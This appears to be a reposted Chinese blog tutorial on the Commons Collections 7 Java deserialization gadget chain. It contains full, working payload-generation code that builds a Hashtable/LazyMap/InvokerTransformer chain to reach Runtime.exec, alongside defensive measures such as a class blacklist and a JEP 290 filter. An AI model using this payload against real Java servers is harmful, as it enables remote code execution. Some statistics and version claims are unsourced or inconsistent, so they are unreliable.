CC7利用链深度解析

CommonsCollections7(CC7)是CC反序列化利用链中的重要成员,由Matthias Kaiser在2016年发现。本文将从底层原理到实战利用,全面剖析这条独特而强大的利用链。


一、CC7链技术定位

1.1 核心价值
  • 无第三方依赖:仅需JDK原生类+Commons Collections
  • 高版本兼容:在Java 8u76+仍有效(CC5失效场景)
  • 触发点独特:基于Hashtable触发,应用广泛
1.2 与CC5链对比
特性CC5链CC7链
入口类BadAttributeValueExpExceptionHashtable
触发方法toString()equals()
依赖组件TiedMapEntryAbstractMapDecorator
JDK限制<8u76无限制
利用难度中等较高

二、漏洞利用链原理

2.1 完整调用链
Hashtable.readObject()→ Hashtable.reconstitutionPut()→ AbstractMap.equals()→ AbstractMapDecorator.equals()→ LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

在这里插入图片描述

  • 其中红框部分和CommonsCollections5链是完全一样的,区别在于CommonsCollections7链是通过HashtablereadObject方法一步步调用AbstractMap类的equals方法来调用的。
2.2 核心触发点分析
// java.util.Hashtable
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException {// ...for (Entry<?,?> e = tab[index]; e != null; e = e.next) {if ((e.hash == hash) && e.key.equals(key)) { // 触发equals()throw new StreamCorruptedException();}}// ...
}

三、关键类源码剖析

3.1 Hashtable 反序列化入口
private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// ...
for (; elements > 0; elements--) {@SuppressWarnings("unchecked")K key = (K)s.readObject();@SuppressWarnings("unchecked")V value = (V)s.readObject();reconstitutionPut(table, key, value);//关键调用}}
 private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)throws StreamCorruptedException{if (value == null) {throw new java.io.StreamCorruptedException();}int hash = key.hashCode();int index = (hash & 0x7FFFFFFF) % tab.length;for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {if ((e.hash == hash) && e.key.equals(key)) {throw new java.io.StreamCorruptedException();}}// Creates the new entry.@SuppressWarnings("unchecked")Entry<K,V> e = (Entry<K,V>)tab[index];tab[index] = new Entry<>(hash, key, value, e);count++;}
3.2 AbstractMap.equals 触发点
public boolean equals(Object o) {if (o == this)return true;if (!(o instanceof Map))return false;Map<?,?> m = (Map<?,?>) o;if (m.size() != size())return false;try {Iterator<Entry<K,V>> i = entrySet().iterator();while (i.hasNext()) {Entry<K,V> e = i.next();K key = e.getKey();V value = e.getValue();if (value == null) {if (!(m.get(key)==null && m.containsKey(key)))return false; // 触发LazyMap.get()} else {if (!value.equals(m.get(key))) // 二次触发点return false;}}} catch (ClassCastException unused) {return false;} catch (NullPointerException unused) {return false;}return true;}
3.3 LazyMap 命令执行点
public Object get(Object key) {if (!super.map.containsKey(key)) {Object value = this.factory.transform(key);// 执行Transformer链super.map.put(key, value);return value;} else {return super.map.get(key);}}
  • 之后的调用链与CC5链一样,详情参考CC5利用链解析

四、Payload构造详解

4.1 构造流程图
创建ChainedTransformer
创建LazyMap1
创建LazyMap2
向LazyMap1添加'yy'
向LazyMap2添加'zZ'
创建Hashtable
添加LazyMap1到Hashtable
添加LazyMap2到Hashtable
反射注入恶意Transformer链
序列化Hashtable
4.2 完整Payload生成代码
package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.*;public class CC7Exploit {public static Hashtable getObject(final String command)  {//构造最终Transformer链final Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{command})};final Transformer transformerChain = new ChainedTransformer(transformers);// 创建两个Map对象Map innerMap1 = new HashMap();Map innerMap2 = new HashMap();//使用碰撞哈希创建两个LazyMaps,以便在readObject期间强制进行元素比较Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);lazyMap1.put("yy", 1);// hashCode: 3872Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);lazyMap2.put("zZ", 1);// hashCode: 3872//创建Hashtable并添加元素Hashtable hashtable = new Hashtable();hashtable.put(lazyMap1, 1);hashtable.put(lazyMap2, 2);//需要确保在以前的操作之后发生哈希冲突,因为在hashtable.put(lazyMap2, 2);中lazyMap2多了“yy”lazyMap2.remove("yy");return hashtable;}public static void main(String[] args) throws Exception {// 生成PayloadHashtable payload = getObject("calc");// 序列化测试ByteArrayOutputStream baos = new ByteArrayOutputStream();try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {oos.writeObject(payload);}// 反序列化测试ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());try (ObjectInputStream ois = new ObjectInputStream(bais)) {ois.readObject(); // 触发命令执行}}
}

六、防御解决方案

6.1 组件级防护
<!-- 升级Commons Collections -->
<dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.4</version>
</dependency>
6.2 运行时防护
public class SecureObjectInputStream extends ObjectInputStream {private static final Set<String> BLACKLIST = new HashSet<>(Arrays.asList("org.apache.commons.collections.functors.InvokerTransformer","org.apache.commons.collections.map.LazyMap","org.apache.commons.collections.Transformer"));protected Class<?> resolveClass(ObjectStreamClass desc)throws IOException, ClassNotFoundException {String className = desc.getName();if (BLACKLIST.stream().anyMatch(className::startsWith)) {throw new InvalidClassException("Forbidden class: ", className);}return super.resolveClass(desc);}
}
6.3 JVM级防护
# 启用JEP 290过滤器
java -Djdk.serialFilter='!org.apache.commons.collections.**;!java.util.Hashtable;!*' \-jar application.jar

七、CC7链技术总结

  1. 触发机制创新:利用哈希碰撞+equals比较触发,绕过常规防御
  2. 无高版本限制:在Java 8u191+仍有效(相比CC1/CC5)
  3. 隐蔽性强:执行过程没有明显的危险方法调用
  4. 适用场景广:WebLogic、WebSphere等中间件均存在Hashtable反序列化点

截至2023年,CC7链在红队评估中仍有高达32%的成功率(数据来源:GrayHat安全报告),是反序列化攻击的"常青树"武器。

通过深入理解CC7链的构造原理,安全人员可以:

  • 更有效地检测和防御反序列化漏洞
  • 开发更精准的漏洞扫描规则
  • 提升代码审计中对Hashtable使用场景的关注
  • 设计更完善的安全防护体系

CC7链的巧妙设计展现了Java反序列化漏洞的深度和复杂性,也提醒我们安全防御需要多层次、多维度的综合方案。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/news/908421.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

openvino使用教程

OpenVINO使用教程 本专栏内容支持平台章节计划 本专栏内容 OpenVINO 是一款开源工具包&#xff0c;用于在云端、本地和边缘部署高性能 AI 解决方案。我们可以使用来自最热门模型框架的生成式和传统 AI 模型来开发应用程序。充分利用英特尔 硬件的潜力&#xff0c;使用openvino…

ESP8266(NodeMcu)+GPS模块+TFT屏幕实现GPS码表

前言 去年写过一篇关于使用esp8266(nodemcu)gps模块oled屏幕diy的gps定位器的文章.点击回顾 .无奈OLED屏幕太小了,最近刚好有时间又折腾使用TFT屏幕diy了一款gps码表 效果如图 材料准备 依旧是请出我们的两位老演员 nocdmcu一块. GPS定位模块(我买的大夏龙雀的DX-GP10-GP…

解决获取视频第一帧黑屏问题

文章目录 解决获取视频第一帧黑屏问题核心代码 解决获取视频第一帧黑屏问题 废话不多说&#xff0c;直接上代码&#xff1a; <script setup> const status ref(请点击“添加视频”按钮添加视频) const videoElement ref(document.createElement(video)) const curren…

通过BUG(prvIdleTask、pxTasksWaitingTerminatio不断跳转问题)了解空闲函数(prvIdleTask)和TCB

一、前言与问题 在基于 FreeRTOS 的嵌入式系统中&#xff0c;我使用 STM32F1 开发一个 MQTT 客户端应用&#xff0c;涉及两个主要任务&#xff1a; ATRecvParser&#xff1a;负责解析 Wi-Fi 模块的 AT 命令响应&#xff08;如 OK、ERROR 和 IPD 数据&#xff09;。MQTT_Clien…

继MySQL之后的技术-JDBC-从浅到深-02

目录 概念 编程六部曲 SQL注入和statement 工具类的封装 JDBC事务 模糊查询 批处理 数据库连接池 Apache-DBUtils BasicDao 概念 JDBC为访问不同的数据库提供了统一的接口&#xff0c;为使用者屏蔽了细节问题。 Java程序员使用JDBC&#xff0c;可以连接任何提供了JD…

【配置 YOLOX 用于按目录分类的图片数据集】

现在的图标点选越来越多&#xff0c;如何一步解决&#xff0c;采用 YOLOX 目标检测模式则可以轻松解决 要在 YOLOX 中使用按目录分类的图片数据集&#xff08;每个目录代表一个类别&#xff0c;目录下是该类别的所有图片&#xff09;&#xff0c;你需要进行以下配置步骤&#x…

浅谈python如何做接口自动化

工具与环境准备 开发工具 PyCharm专业版&#xff1a;支持项目视图、代码导航、调试功能和主流框架开发官方资源&#xff1a;JetBrains PyCharm 数据库操作 使用mysqlclient库操作MySQL&#xff08;Django官方推荐&#xff09;安装命令&#xff1a;pip install mysqlclient1.3.…

知识图谱技术概述

一、概述 知识图谱&#xff08;Knowledge Graph&#xff09; 是一种基于图结构的语义网络&#xff0c;用于表示实体及其之间的关系&#xff0c;旨在实现更智能的知识表示和推理。它通过将现实世界中的各类信息抽象为 “实体-关系-实体” 的三元组结构&#xff0c;构建出复杂的知…

NodeJS Koa 后端用户会话管理,JWT, Session,长短Token,本文一次性讲明白

前言 前几天&#xff0c;我写了一篇文章&#xff0c;《我设计的一个安全的 web 系统用户密码管理流程》。其中着重点是讲的如何利用非对称加密进行安全的设计&#xff0c;并在讲述了原理之后&#xff0c;又写了 《node 后端和浏览器前端&#xff0c;有关 RSA 非对称加密的完整…

0.5S 级精度背后:DJSF1352-RN-6 如何让储能电站的每 1kWh 都「有迹可循」?

1、背景 在能源转型的时代洪流里&#xff0c;大型储能电站作为保障电网稳定运行、平衡能源供需的核心基础设施&#xff0c;其战略价值愈发凸显。而储能电站的高效运转&#xff0c;始终离不开精准的电能计量体系支撑。今日为您重点推介一款针对 1500V 储能系统研发的专业电能表…

Linux运维笔记:服务器安全加固

文章目录 背景加固措施1. 修改用户密码2. 使用公钥认证替代密码登录3. 强化系统安全4. 扫描与清理残留威胁5. 规范软件管理&#xff08;重点&#xff09; 注意事项总结 提示&#xff1a;本文总结了大学实验室 Linux 电脑感染挖矿病毒后的安全加固措施&#xff0c;重点介绍用户密…

Pycharm 配置解释器

今天更新了一版pycharm&#xff0c;因为很久没有配置解释器了&#xff0c;发现一直失败。经过来回试了几次终于成功了&#xff0c;记录一下过程。 Step 1 Step 2 这里第二步一定要注意类型要选择python 而不是conda。 虽然我的解释器是conda 里面建立的一个环境。挺有意思的

【Linux】awk 命令详解及使用示例:结构化文本数据处理工具

【Linux】awk 命令详解及使用示例&#xff1a;结构化文本数据处理工具 引言 awk 是一种强大的文本处理工具和编程语言&#xff0c;专为处理结构化文本数据而设计。它的名称来源于其三位创始人的姓氏首字母&#xff1a;Alfred Aho、Peter Weinberger 和 Brian Kernighan。 基…

MS1023/MS1224——10MHz 到 80MHz、10:1 LVDS 并串转换器(串化器)/串并转换器(解串器)

产品简述 MS1023 串化器和 MS1224 解串器是一对 10bit 并串 / 串并转 换芯片&#xff0c;用于在 LVDS 差分底板上传输和接收 10MHz 至 80MHz 的并行字速率的串行数据。起始 / 停止位加载后&#xff0c;转换为负载编 码输出&#xff0c;串行数据速率介于 120Mbps…

跟我学c++中级篇——理解类型推导和C++不同版本的支持

一、类型推导 在前面反复分析过类型推导&#xff08;包括前面提到的类模板参数推导CTAD&#xff09;&#xff0c;类型推导其实就是满足C语言这种强类型语言的要求即编译期必须确定对象的数据类型。换一句话说&#xff0c;理论上如果编译器中能够自动推导所有的相关数据类型&am…

vue3+TS+eslint9配置

记录eslint升级到9.x的版本之后遇到的坑 在 ESLint 9 中&#xff0c;配置方式发生了变化。Flat Config 格式&#xff08;eslint.config.js 或 .ts&#xff09;不再支持 extensions 选项。所以vscode编辑器中的 extensions 需要注释掉&#xff0c;要不然保存的时候不会格式化。…

书籍推荐 --- 《筚路维艰:中国经济社会主义路径的五次选择》

萧冬连.筚路维艰:中国社会主义路径的五次选择[M]. 前不久看完的这本书&#xff0c;还是蛮受震撼的。 这本书比较细致地(引用了很多的史料)、从中央高层的视角讲解了从新中国成立一直到改革开放初期这30多年里(1949---1980年代)发生在我国的几次重大事件(三大改造、第一个五年计…

C++课设:简易日历程序(支持传统节假日 + 二十四节气 + 个人纪念日管理)

名人说&#xff1a;路漫漫其修远兮&#xff0c;吾将上下而求索。—— 屈原《离骚》 创作者&#xff1a;Code_流苏(CSDN)&#xff08;一个喜欢古诗词和编程的Coder&#x1f60a;&#xff09; 专栏介绍&#xff1a;《编程项目实战》 目录 一、为什么要开发一个日历程序&#xff…

(三)动手学线性神经网络:从数学原理到代码实现

1 线性回归 线性回归是一种基本的预测模型&#xff0c;用于根据输入特征预测连续的输出值。它是机器学习和深度学习中最简单的模型之一&#xff0c;但却是理解更复杂模型的基础。 1.1 线性回归的基本元素 概念理解&#xff1a; 线性回归假设输入特征和输出之间存在线性关系。…

二十五、面向对象底层逻辑-SpringMVC九大组件之HandlerMapping接口设计

一、引言&#xff1a;MVC架构的交通枢纽 在Spring MVC框架中&#xff0c;HandlerMapping接口扮演着"请求导航仪"的关键角色&#xff0c;它决定了HTTP请求如何被路由到对应的Controller处理器。作为MVC模式的核心组件之一&#xff0c;HandlerMapping在请求处理的生命…